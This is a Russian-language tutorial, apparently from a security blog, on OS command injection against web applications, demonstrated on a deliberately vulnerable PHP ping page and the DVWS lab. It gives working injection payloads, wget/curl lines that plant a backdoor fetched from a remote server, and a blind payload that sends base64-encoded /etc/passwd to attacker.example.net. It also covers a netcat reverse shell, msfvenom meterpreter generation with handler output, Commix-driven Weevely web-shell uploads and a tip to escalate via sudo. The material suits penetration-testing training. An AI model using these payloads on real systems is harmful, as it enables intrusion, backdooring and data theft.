Внедрение команд ОС: понятие, эксплуатация, автоматизированный поиск уязвимости

Обычно применяется термин «внедрение кода», он относится к SQL-инъекциям, межсайтовому скриптингу (XSS), PHP-инъекциям и большому количеству других инъекций и их разновидностей. Внедрение команд ОС (иногда пишут «инъекция команд ОС», «инжект команд ОС») – это одна из разновидностей внедрения кода. Её особенностью является выполнение несанкционированных команд операционной системы на удалённом сервере через уязвимое веб-приложение.

Большинство веб-серверов поддерживают функциональность, которая позволяет данным взаимодействовать с серверной операционной системой. Эти функции могут быть полезными при создании приложений, возможности которых уже реализованы в ОС. В результате не нужно писать новую программу, можно просто передавать команду с дополнительными опциями в систему и отображать результаты на веб-сайте.

Если в отношении пользовательского ввода не осуществляется должная проверка, то приложения могут быть уязвимы к атаке известной как внедрение команд. Используя эту уязвимость атакующие может формировать ввод таким образом, что он будет содержать команды операционной системы, которые будут выполняться с привилегиями уязвимого приложения. Уязвимости внедрения команд обычно подразделяются на следующие виды:

  • Внедрение команд, основанное на результатах – Уязвимое приложение выводит результаты внедрённой команды.
  • Слепое внедрение команд – Уязвимое приложение не выводит результаты внедрённой команды.

Эффективно используя эту уязвимость, атакующий может получить чувствительные данные, такие как

  • Файлы паролей операционной системы
  • Конфигурационные файлы операционной системы
  • Исходный код приложения.

Более того, возможно получить командную оболочку для отправки системных команд на обратном шелле.

Эксплуатация внедрения команд ОС (при пересылке на сервер методом GET)

Создайте на тестовом сервере файл с содержимым (не будет работать на Windows!):

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Бесплатный пинг!</title>
    </head>
    <body>
        <p>Введите сайт для пинга. Например, hackware.ru</p>
        <form>
            <input name="pingme" type="text" />
            <input type="submit">
        </form>

        <?php
        if (isset($_GET["pingme"])) {
            echo '<pre>';
            $cmd = 'ping -c 10 ' . $_GET["pingme"];
            passthru($cmd);
            echo '</pre>';
        }
        ?>
    </body>
</html>

Откройте его в браузере:

31

Мы можем ввести адрес сайта и будет осуществлён его пинг:

32

Даже не видя исходного кода, можно предположить, что в систему передаётся команда вида:

ping hackware.ru

а затем выводится её результат.

Давайте введём не просто адрес сайта, а добавим через точку с запятой команду ОС pwd (показывает текущую рабочую директорию):

hackware.ru; pwd

Отлично, обратите внимание на строку /var/www/html/pingme:

33

hackware.ru && id

Обратите внимание на строку uid=33(www-data) gid=33(www-data) groups=33(www-data):

34

Чтобы два раза не вставить, не ждать каждый раз завершения команды пинга:

hackware.ru; pwd; ls -l; ls -l ../../../../../..; cat index.php

Этими командами мы показали содержимое текущего каталога, содержимое корневой директории, а также содержимое файла index.php (открыт исходный HTML код):

35

Заражение бэкдором при уязвимости внедрения команд ОС

Алгоритм следующий:

  1. Генерируете бэкдор программами Weevely или PhpSploit
  2. Загружаете его на ваш сервер без расширения .php. Можно поменять расширение на .txt или любое другое – код бэкдора не должен выполняться на вашем сервере.
  3. На уязвимом сервере выполняете команду вида
wget адрес_до_бэкдора.txt -O backdoor.php

Например, в поле ввода я записываю:

hackware.ru; wget http://miloserdov.org/backdoor.txt -O ./backdoor.php; ls -l

В качестве альтернатив можно дописать существующий файл:

curl -s адрес_до_бэкдора.txt >> существующий файл

Например

curl -s http://miloserdov.org/backdoor.txt >> index.php

Или записать в файл без использования удалённого сервера:

echo 'Первая строка бэкдора' >> index.php
echo 'Вторая строка бэкдора' >> index.php
echo 'Третья строка бэкдора' >> index.php
………….

Если сервер настроен правильно, это вполне может не сработать – поскольку окажется, что у вас нет разрешения на запись в директории и файлы.

Как можно внедрять команды ОС

Я использовал синтаксис оболочки Linux, который позволяет записывать в одну строку несколько команд, разделённых точкой с запятой. Кроме этого варианта, существуют другие. В таблице приведён их неполный перечень.

Допустим, следующая короткая PHP программа запускает внешнюю программу называемую легитимная_команда, а пользовательский ввод приходит в $_GET['USER_INPUT'].

<?php
passthru("/bin/легитимная_команда " . $_GET['USER_INPUT']);
?>

Функция оболочки

Значение USER_INPUT 

Результирующая команда оболочки

Объяснение

Последовательное выполнение

; вредоносная_команда

/bin/легитимная_команда; вредоносная_команда

Выполняет легитимную_команду, затем выполняет вредоносную_команду.

Передача по трубе

| вредоносная_команда

/bin/легитимная_команда | вредоносная_команда

Отправляет вывод легитимной_команды в качества ввода вредоносной_команды.

Подставление команды

`вредоносная_команда`

/bin/легитимная_команда `вредоносная_команда`

Отправляет вывод вредоносной_команды в качестве аргумента легитимной_команды.

Подставление команды

$(вредоносная_команда)

/bin/легитимная_команда $(вредоносная_команда)

Отправляет вывод вредоносной_команды  в качестве аргумента легитимной_команды.

AND список

&& вредоносная_команда

/bin/легитимная_команда && вредоносная_команда

Выполняет вредоносную_команду если легитимная_команда возвращает код выхода 0 (успех).

OR список

|| вредоносная_команда

/bin/легитимная_команда || вредоносная_команда

Выполняет вредоносную_команду если легитимная_команда возвращает статус выхода отличный от нуля (ошибка).

Перенаправление вывода

> ~/.bashrc

/bin/легитимная_команда > ~/.bashrc

Перезаписывает содержимое файла .bashrc выводом легитимной_команды.

Перенаправление ввода

< ~/.bashrc

/bin/легитимная_команда < ~/.bashrc

Отправляет содержимое файла .bashrc в качестве ввода легитимной_команды.

Слепое внедрение команд ОС

Не всегда для атакующего всё просто. Веб-приложение может оказаться настроенным так, что не будет выводить результаты выполнения команды, оно может просто тихо выполнять команду и выводить что-нибудь общее вроде «Успех» или «Сделано». В этом случае атакующий всё ещё может определить существование уязвимости и слепо использовать её через логический вывод.

Например, представим, что мы изменили окончание ввода на Linux команду “sleep”, следующим образом:

http://ci.example.org/blind.php?address=127.0.0.1 && sleep 10

Если уязвимость присутствует, по-прежнему придёт сообщение «Успех», тем не менее, оно появиться ощутимо, примерно на 10 секунд позже, чем без полезной нагрузки. Чтобы определить, всё дело в тормозном сервере или действительно присутствует уязвимость, вы можете провести несколько тестов с различным уровнем задержки, чтобы увидеть, соответствует ли задержка ожидаемой. Т.е. если sleep 10 приводит к примерно 10 секундной задержке, а sleep 30 примерно к 30 секундной задержки, то это снижает вероятность ложного положительного результата.

Файловая (полуслепая) эксплуатация внедрения команд ОС

Мы рассмотрели основанный на времени (слепой) метод внедрения и выполнения команд, который основывается на задержке вывода.

Файловый метод (иногда называют полуслепой) – это когда атакующий не способен наблюдать результаты выполненной команды, но может другим способом подтвердить наличие уязвимости.

Иногда уязвимость внедрения команд присутствует, но команда “sleep” не может нам помочь, если приложения выполняет запросы в новых потоках. В этом случае мы можем применить метод «заметных» изменений, например, путём создания файла и последующей проверки его присутствия на атакуемой машине или поиск активности тестируемого сервера иными способами. Мы можем попытаться загрузить файл на тестируемый сервер с другого удалённого сервера таким образом:

http://ci.example.org/blind.php?address=127.0.0.1 && wget http://attacker.example.net/?attacksuccessful

Это приведёт к тому, что уязвимый сервер (Linux) сделает запрос на машину атакующего. Команда wget запрашивает сервер загрузить веб-страницу. Теперь атакующей может поискать в своих логах GET запрос на файл /?attacksuccessful, если он имеется, значит полезная нагрузка отработала успешно и уязвимость имеется. Конечно, можно попытаться поискать сохранённую страницу на атакуемом сервере, но даже при наличии уязвимости внедрения команд ОС, она может там не оказаться, поскольку у команды wget может просто не оказаться прав на запись запрошенного файла.

Теперь превратим это в жизнеспособную полезную нагрузку атаки, к примеру, украдём конфиденциальные файлы. Злоумышленник может попытаться прицепить содержимое файла в запрос к серверу атакующего! Полезная нагрузка вроде этой будет эффективной:

&& wget http://attacker.example.net/?attacksuccessful:`cat /etc/passwd | base64`

Здесь атакующий получает содержимое конфиденциального файла /etc/password, закодированного в base64, чтобы его было возможно передать в URL, а затем снова использует команду wget для отправки этого файла в запросе HTTP GET к серверу, находящемуся под контролем атакующего. Единственное, о чём следует помнить, что команда base64 по умолчанию будет переносить строки после 76 символов, но вы можете использовать параметр -w 0, чтобы отключить это примерно так:

&& wget http://attacker.example.net/?attacksuccessful:`cat /etc/passwd | base64 -w 0`

Эксплуатация внедрения команд ОС (при пересылке данных методом POST)

Мы уже рассмотрели механизм внедрения команд ОС, когда данные передаются методом GET там можно просто менять адрес в браузере. С методом POST немного по-другому.

Для начала нам нужен пример уязвимого кода. Можно написать свой, но зачем что-то делать, если уже есть готовое решение? Такое готовое решение, например, имеется в пакете Damn Vulnerable Web Services.

Адрес примера: http://localhost/dvws/vulnerabilities/cmdi/client.php

Там достаточно простой случай. При нажатии на кнопку нам показываются такие данные как системное время, время работы, количество пользователей и нагрузка на процессор. Пример выводимых данных:

41

The current system uptime is
15:44:17 up 4 min, 1 user, load average: 0.30, 0.51, 0.25

Мы можем взаимодействовать с программой, выбирая одну из четырёх опций, которые определяют формат времени:

  • Normal format (нормальный формат)
  • MM:HH:SS формат
  • Short Format (короткий формат)
  • Windows формат (только на системах Windows)

Как можно догадаться, именно это и является пользовательским вводом, поскольку именно этот выбор передаётся на сервер (а больше и нечему здесь передаваться).

Чтобы узнать, какие именно переменные и с какими значениями передаются, любители комфорта могут воспользоваться прокси вроде того, какой встроен в Burp Suite. Кстати, в Burp Suite же вы можете повторно воспроизвести, в том числе и модифицированный, запрос к серверу. Те, кто уже освоил фильтры Wireshark, может сделать это в ней. На мой взгляд пример настолько прост, что даже не нужны дополнительные программы. Давайте посмотрим HTML код.

42

Там интересна только форма:

        <form action="" method="POST">
            <b>Select the format you want to view the system uptime on</b><br>
            <input type="radio" name="name" value=" ">Normal format<br>
            <input type="radio" name="name" value="-s">MM:HH:SS format<br>
            <input type="radio" name="name" value="-p">Short Format<br>
            <input type="radio" name="name" value="find">Windows Format (Only on Windows Systems)<br>
            <br><input type="Submit" /><br>
        </form>  

Отсутствие значение в action="", говорит о том, что запрос делается на тот же файл, который показывает форму (т.е. на http://localhost/dvws/vulnerabilities/cmdi/client.php). Кстати, атрибут action может вообще отсутствовать (как в моём примере), это означает, что запрос отправляется этому же самому файлу, который содержит форму.

Далее обращаем внимание на атрибут method="POST". Если бы его значение было GET, то при отправке передаваемые данные мы могли бы видеть (и менять) прямо в адресной строке браузера. При использовании метода POST в адресной строке передаваемых данных не видно.

У тега input должен быть атрибут name, это имя используется при отправке данных на сервер или для доступа к введенным данным поля через скрипты. Пусть вас не сбивает столку, что в качестве имени выбрана строка name.

Итак, данные передаются странице http://localhost/dvws/vulnerabilities/cmdi/client.php, эту страницу мы можем запросить командой curl (ключ -s используется для того, чтобы не показывать лишнюю техническую информацию):

curl -s http://localhost/dvws/vulnerabilities/cmdi/client.php

У команды curl есть опция -d, после которой указываются данные, передаваемые методом POST. Эти данные имеют вид «имя_поля=передоваемое_значение». Имя поля у нас name, а в качестве значения может быть что угодно. Пусть это будет легитимное значение -s (соответствует формату MM:HH:SS). Тогда команда выглядит так:

curl -s http://localhost/dvws/vulnerabilities/cmdi/client.php -d "name=-s"

Проверим:

51

Всё отлично сработало, это следует из того, что нам показывается время в выбранном формате. Особая удача в том, что результат вывода команды в самом низу – не нужно долго искать.

Не всегда получается так легко. Иногда форма отправляет дополнительные данные, некоторые из них формируются на лету скриптами JavaScript. Если в ответ на ваш запрос сервер ничего не отвечает (или отвечает не соответствующее отправленным данным), то воспользуйтесь Burp Suite, Wireshark или другими программами для точного анализа передаваемых запросов с веб-страницы в веб-приложение.

Теперь, как это уже было описано выше, добавляем, например, через точку с запятой наши команды:

curl -s http://localhost/dvws/vulnerabilities/cmdi/client.php -d "name=-s; pwd"

Опять сработало:

52

Можно сделать небольшой тюнинг нашей команды, чтобы каждый раз ненужный нам HTML код не заполнял консоль, я использую команду grep с опцией -A 20 (означает, что будут показаны последующие 20 строк после строки с найденным образцом), а искомым образцом будет </html>. Фактически, мы говорим grep покажи нам от </html> и до конца файла.

В качестве полезной нагрузки я передам команду

ls -l ../../../../../..

Она означает показать содержимое каталога на несколько директорий вверх. Окончательный вид моей команды:

curl -s http://localhost/dvws/vulnerabilities/cmdi/client.php -d "name=-s;ls -l ../../../../../.." | grep -A 20 '</html>'

Как видим, сработало:

53

Получение командного шелла через обратный шелл

Кроме всего прочего, можно получить командную оболочку отправки системных команд на обратном шелле.

Это может быть сделано использованием сетевых инструментов таких как Netcat или ncat (последняя входит в пакет Nmap). Netcat – это простая утилита, которая читает и пишет данные по сетевому соединению используя TCP или UDP. Если Netcat запущен на уязвимом сервере, вы можете использовать его для поднятия прослушивателя и затем перенаправлять вывод команд операционной системы на прослушиватель.

Для достижения этого, атакующему нужно настроить прослушиватель Netcat на контролируемом сервере. Затем он может подключиться с сервера на сервер к порту, используемому для выполнения команды Netcat.

70

Как показано на изображении выше, команда ‘nc’ используется для поднятия прослушивателя на порту 9090 и пути оболочки bourne. Это запускает интерактивный шелл на DVWS приложении использующим Netcat. Атакующей может затем подключиться к серверу, используя Netcat.

Программа для поиска уязвимости внедрения команд

Программой для автоматического поиска возможности внедрения команд ОС является Commix.

Программу Commix нужно запускать от имени администратора. Нужно указать ключ -u с адресом тестируемого веб-приложения (сайта). Адрес должен содержать переменные, которые будут тестироваться. Для примера, который был приведён ваше (данные передаются методом GET) команда выглядит так:

sudo commix -u http://localhost/pingme/?pingme=hackware.ru

При успешном обнаружении уязвимости внедрения команд ОС, Commix спрашивает, хотим ли мы оболочку псевдотерминала. В этот терминал можно вводить команды ОС:

61

Можно дополнительно использовать ключ --all, чтобы получить некоторую информацию о системе:

62

Если данные передаются методом POST, то достаточно указать адрес страницы. Также необходимо использовать опцию --data, после которой указать передаваемые на сервер данные. Пример:

sudo commix -u http://localhost/dvws/vulnerabilities/cmdi/client.php --data='name=-s'

63

Ещё опции по работе с файлами, которые кажутся весьма полезными:

    --file-read=FILE..  Прочитать файл с целевого хоста.
    --file-write=FIL..  Записать файл на целевой хост.
    --file-upload=FI..  Выгрузить файл на целевой хост.
    --file-dest=FILE..  Абсолютный путь на хосте для записи и/или выгрузки.

Заливка шелла с Commix

1. Выгрузка (metasploit) PHP meterpreter шелла на целевой хост.

Шаг 1: Создайте PHP meterpreter шелл (через msfvenom)

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.178.3 LPORT=4444 -e php/base64 -f raw > /root/Desktop/msfvenom.php

Примечание: Не забудьте добавить "<?php " и " ?>" в файл msfvenom.php

Шаг 2: Запуск обработчика (через msfconsole)

msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.178.3
LHOST => 192.168.178.3
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.178.3:4444 
[*] Starting the payload handler...

Шаг 3: Используйте commix для создания "msfvenom.php" файла в целевой директории "/var/www/" и его выполнения.

commix --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --file-write="/root/Desktop/msfvenom.php" --file-dest="/var/www/msfvenom.php" --os-cmd="php -f /var/www/msfvenom.php"

Шаг 4: Наслаждайтесь вашим шеллом!

[*] Sending stage (40499 bytes) to 192.168.178.4
[*] Meterpreter session 1 opened (192.168.178.3:4444 -> 192.168.178.4:50450) at 2015-05-16 03:11:42 -0400

meterpreter > sysinfo
Computer    : debian
OS          : Linux debian 3.16.0-4-586 #1 Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) i686
Meterpreter : php/php
meterpreter > 

2. Выгрузка PHP веб-шелла Weevely на целевой хост.

Шаг 1 : Создайте PHP веб-шелл.

weevely generate commix
[generate.php] Backdoor file 'weevely.php' created with password 'commix'

Шаг 2 : Используйте commix для создания файла "weevely.php" в директории "var/www/html/cmd/" цели.

commix --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --file-write="/root/Desktop/weevely.php" --file-dest="/var/www/html/cmd/"

Шаг 3 : Наслаждайтесь вашим шеллом!

weevely http://192.168.178.4/cmd/weevely.php commix
      ________                     __
     |  |  |  |----.----.-.--.----'  |--.--.
     |  |  |  | -__| -__| |  | -__|  |  |  |
     |________|____|____|___/|____|__|___  | v1.1
                                     |_____|
              Stealth tiny web shell

[+] Browse filesystem, execute commands or list available modules with ':help'
[+] Current session: 'sessions/192.168.178.4/weevely.session'

www-data@debian:/var/www/html/cmd $ ls -la
total 16
drwxrwxrwx 2 root     root     4096 May 18 02:02 .
drwxrwxrwx 8 root     root     4096 May 14 01:49 ..
-rw-rw-rw- 1 root     root      353 May  8 03:28 normal.php
-rw-r--r-- 1 www-data www-data  606 May 18 02:02 weevely.php

Заключение

В реальных сценариях может быть непросто найти в веб-службах уязвимости внедрения команд. Это обычно связано с тем, как веб-службы, такие как JSON-RPC, обрабатывают данные. Среди веб-служб распространено выполнять внедрённые команды и не возвращать каких-либо результатов атакующему. Программы для автоматизированного поиска уязвимостей и показанные техники должны несколько помочь в этом.

Следует заметить, что все передаваемые атакующим команды зависят от ОС и обычно выполняются с теми же привилегиями, что и уязвимое приложение.

Кстати, пробуйте выполнять команды с sudo. Если сервер передаёт команды ОС для выполнения, то среди этих команд вполне могут оказаться те, которые требуют повышенных привилегий. Самым простым и опасным способом сделать это, является включение сервера в группу sudo и присвоение этой группе возможность выполнять sudo без ввода пароля. При такой настройке сервера у вас будут привилегии рута.

При подготовке раздела использовался материал:

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *